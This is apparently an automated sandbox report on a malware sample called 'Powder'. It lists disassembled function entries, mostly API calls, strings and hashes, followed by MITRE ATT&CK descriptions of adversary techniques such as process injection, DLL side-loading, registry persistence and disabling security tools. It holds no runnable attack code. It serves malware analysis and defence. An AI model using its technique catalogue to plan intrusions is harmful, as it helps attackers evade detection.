Instruction ID: 513843d83062b76f80758a0ff06e5418da9810f239e5be85975ebf0716f1c30b
Opcode Fuzzy Hash: aafb2112393c8028dcf290507599f0afb34d3c0c2eb3b4060f23c4ccb13cdeb8
Instruction Fuzzy Hash: 78212972A1420AAFDB04DFB8CC45EFA7BA8EB08314F044519FD59D3290DB75E891DB64

Function 00D06F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00D06FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00D06FD6

Strings

edit, xrefs: 00D06FAB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 5ea84fb4cd42f559b1292514315ed4fa3ec0a20718eede3f08ca8decae3a7267
Instruction ID: ee316e1dc9d8ffcbf895b83e889ddc74b7fc6cb5d01eb8b4f643ff3460f76bd1
Opcode Fuzzy Hash: 5ea84fb4cd42f559b1292514315ed4fa3ec0a20718eede3f08ca8decae3a7267
Instruction Fuzzy Hash: F9112B7150420AAFEB105E64AC84BEA3F6AEF05368F544614FA68D61E0C775DCA19B70

Function 00CE3156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE31C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00CE31E8

Strings

0, xrefs: 00CE31BF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: f36a0ef5e98faf931d34d0039a8f31131c019c3615ad329fd7d06536b3165392
Instruction ID: b5d92c411b1ac371d0481bf7b76915cf663d042b563e3b9cf65156791e802032
Opcode Fuzzy Hash: f36a0ef5e98faf931d34d0039a8f31131c019c3615ad329fd7d06536b3165392
Instruction Fuzzy Hash: 2A11E636A002D5ABDB20DE9ADC4EB9D77B8AF06310F184129E865E7290D770BF05CB91

Function 00CF8475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF86E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00CF849D,?,00000000,?,?), ref: 00CF86F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF84A0
htons.WSOCK32(00000000,?,00000000), ref: 00CF84DD

Strings

255.255.255.255, xrefs: 00CF84B8

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: bfab7bc57b0349edd566c4f9ab0095600158560cf5a7dafc4bdf892c7331d664
Instruction ID: c4f9490926663443cc9cf3c014413d78043f263e6211a400be52d243ae11cc4a
Opcode Fuzzy Hash: bfab7bc57b0349edd566c4f9ab0095600158560cf5a7dafc4bdf892c7331d664
Instruction Fuzzy Hash: E911823524020AABDB10EF64C856FFEB724EF04320F10861AFB25973D1DB71A915DAA6

Function 00CD99BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00CD9A2B

Strings

ListBox, xrefs: 00CD99F5
ComboBox, xrefs: 00CD99CA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 286d255ec63885d6e1bcfa0f9218ed705581657373dbf1d216065756cc4797e5
Instruction ID: e326cf9a6b83fcfa9b35450cc95134a0a5c97aa3607d1964ffd7a87098b49455
Opcode Fuzzy Hash: 286d255ec63885d6e1bcfa0f9218ed705581657373dbf1d216065756cc4797e5
Instruction Fuzzy Hash: BA01F576A41225AB8F14EBA4CC56CFE7369EF52320B44060AF976533C1DF305D08E660

Function 00CE934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CE9367
__fread_nolock.LIBCMT ref: 00CE937C

Strings

EA06, xrefs: 00CE93AE

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 71a2cb1ba0f7126e7184cbc8064489d9f492b38a94fc130b4bcb5a511d63d92f
Instruction ID: 14fa18213fc1d7a6ba18117bc284f7a7f510582c33d8835c25968869be05ab28
Opcode Fuzzy Hash: 71a2cb1ba0f7126e7184cbc8064489d9f492b38a94fc130b4bcb5a511d63d92f
Instruction Fuzzy Hash: 6F01F9728042587EDB28C7A9C856EBE7BF8DB02305F00419AF552D21C1E5B8E6089B60

Function 00CD98B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00CD9923

Strings

ListBox, xrefs: 00CD98ED
ComboBox, xrefs: 00CD98C2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1a0debced0f70caec6c8e4b392bbbbc6427c63294473d07c69d4d63ab124b48f
Instruction ID: 8b5a257ce09db4de8a5f25c5e03a95dabcbd5128c13bd12ee9f389436ce1b8e2
Opcode Fuzzy Hash: 1a0debced0f70caec6c8e4b392bbbbc6427c63294473d07c69d4d63ab124b48f
Instruction Fuzzy Hash: 1801D476B81105ABCF14EBA0C966EFE73A8DF11300F54011AB95663381DE209F08A6B1

Function 00CA9632 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CA9BDC: __getptd_noexit.LIBCMT ref: 00CA9BDD

__lock.LIBCMT ref: 00CA9673
_free.LIBCMT ref: 00CA96A0

Strings

, xrefs: 00CA96A6, 00CA96AE

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __getptd_noexit__lock_free
String ID:
API String ID: 1533244847-3162483948
Opcode ID: 5bdcf1fff92c4e5b67aa8ab800842e865e62d072029b999ba9e8cbf33823beb7
Instruction ID: ba02d386f57167655292b15d40a573acc99345538f23e00b5b68cebf2e95b130
Opcode Fuzzy Hash: 5bdcf1fff92c4e5b67aa8ab800842e865e62d072029b999ba9e8cbf33823beb7
Instruction Fuzzy Hash: D611A535D417239BCBA1AF689802619F7B0EF07B28B15011AF864A3690CB305E429FD5

Function 00CD993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00CD99A6

Strings

ListBox, xrefs: 00CD9972
ComboBox, xrefs: 00CD9947

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 5280aaa3823939f1981047eda937721b77ae8c46e29df9bbde0fbcfa8e53331b
Instruction ID: 5d3e08aa548a8baa3b1cade214eca9df1d1b72b58a93b312066c4d667c57bf74
Opcode Fuzzy Hash: 5280aaa3823939f1981047eda937721b77ae8c46e29df9bbde0fbcfa8e53331b
Instruction Fuzzy Hash: 8701A776B41105ABCF14EBA4C956EFE77ACDF11340F54001ABD45A3381DE258F08A671

Function 00CE54E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00CE5501
_wcscmp.LIBCMT ref: 00CE5513

Strings

#32770, xrefs: 00CE550D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: b72b1a0075a8fffc4b0b6de4c027e721194419d124dc22672a0c9a417e90facf
Instruction ID: 76c46cd12708bd7ed6fe4dfd297767452de87e974b98c3322df97d58c5c2fdb5
Opcode Fuzzy Hash: b72b1a0075a8fffc4b0b6de4c027e721194419d124dc22672a0c9a417e90facf
Instruction Fuzzy Hash: B3E0D876A003292BD720AA99AC4AFABFBACEB55771F000157FD04D7151EA60AA45C7F0

Function 00CD8892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00CD88A0

Part of subcall function 00CA3588: _doexit.LIBCMT ref: 00CA3592

Strings

AutoIt, xrefs: 00CD8894
Error allocating memory., xrefs: 00CD8899

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 218f7c71bf4951a38de3d1484db3afae3caa33fc2faed599c1d4aa0a42b2786b
Instruction ID: c0907a38d69976c4697c8f0f5061c2f91b09a18ea0e14fb07c3379f37da10acc
Opcode Fuzzy Hash: 218f7c71bf4951a38de3d1484db3afae3caa33fc2faed599c1d4aa0a42b2786b
Instruction Fuzzy Hash: 3DD05B3238535836D22436E86C1FFDA7A498B05B95F048426FF08A55C38DD685D562F5

Function 00CBB4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CBB544: _memset.LIBCMT ref: 00CBB551

Part of subcall function 00CA0B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00CBB520,?,?,?,00C8100A), ref: 00CA0B79

IsDebuggerPresent.KERNEL32(?,?,?,00C8100A), ref: 00CBB524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00C8100A), ref: 00CBB533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00CBB52E

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 96e28b1a74588410f73924f760615ecd7875fab33011c7e6a6812031bcbeb7b8
Instruction ID: 1a1fb7750b50389b9edf73e4bea2222f4c86cac08bfddc121d037648f14b0e2e
Opcode Fuzzy Hash: 96e28b1a74588410f73924f760615ecd7875fab33011c7e6a6812031bcbeb7b8
Instruction Fuzzy Hash: 32E092B02003118FD330AF35E408782BAE0AF14308F20891DE456C3341EBF8E948CBB2

Function 00CC0251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00CC0091

Part of subcall function 00CFC6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00CC027A,?), ref: 00CFC6E7
Part of subcall function 00CFC6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00CFC6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00CC0289

Strings

WIN_XPe, xrefs: 00CC00A4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 9eb0c395d4e56989b07a67ec3329440720dc21b9d400405257e60a6f70f50703
Instruction ID: 0ee4098724fe212ed117452f1fefa8bc239aef3ea954c04ba40891f32c51100f
Opcode Fuzzy Hash: 9eb0c395d4e56989b07a67ec3329440720dc21b9d400405257e60a6f70f50703
Instruction Fuzzy Hash: 38F03970804209EFCB15EFA1C988BECBBB8AB08300F250089E106E21A0CBB04F80DF21

Function 00C94D8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(0008041F), ref: 00C94D96

Strings

, xrefs: 00C94DB0
h, xrefs: 00C94DA6

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: DestroyIcon
String ID: $h
API String ID: 1234817797-903751804
Opcode ID: f22b2e2b28544b748851387c43ff2b489e2af27e3283bf97ad4787e60cc8c131
Instruction ID: 547d983d1893b58d3afbbfd917a94e5de2b92c53c00156a91534729b3ea7af41
Opcode Fuzzy Hash: f22b2e2b28544b748851387c43ff2b489e2af27e3283bf97ad4787e60cc8c131
Instruction Fuzzy Hash: A9C080547C9312474F14B765D59E4262519D78130034402143E02C63D1DF90D900D779

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
